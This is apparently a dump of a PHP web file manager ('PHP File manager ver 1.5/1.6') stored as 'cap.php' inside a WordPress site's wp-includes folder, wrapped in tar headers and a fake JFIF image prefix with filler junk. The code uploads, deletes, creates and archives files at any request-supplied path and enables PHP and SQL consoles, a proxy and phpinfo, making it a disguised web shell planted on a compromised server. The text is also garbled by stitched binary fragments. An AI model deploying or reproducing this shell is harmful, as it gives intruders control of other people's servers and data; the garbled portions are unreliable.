        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
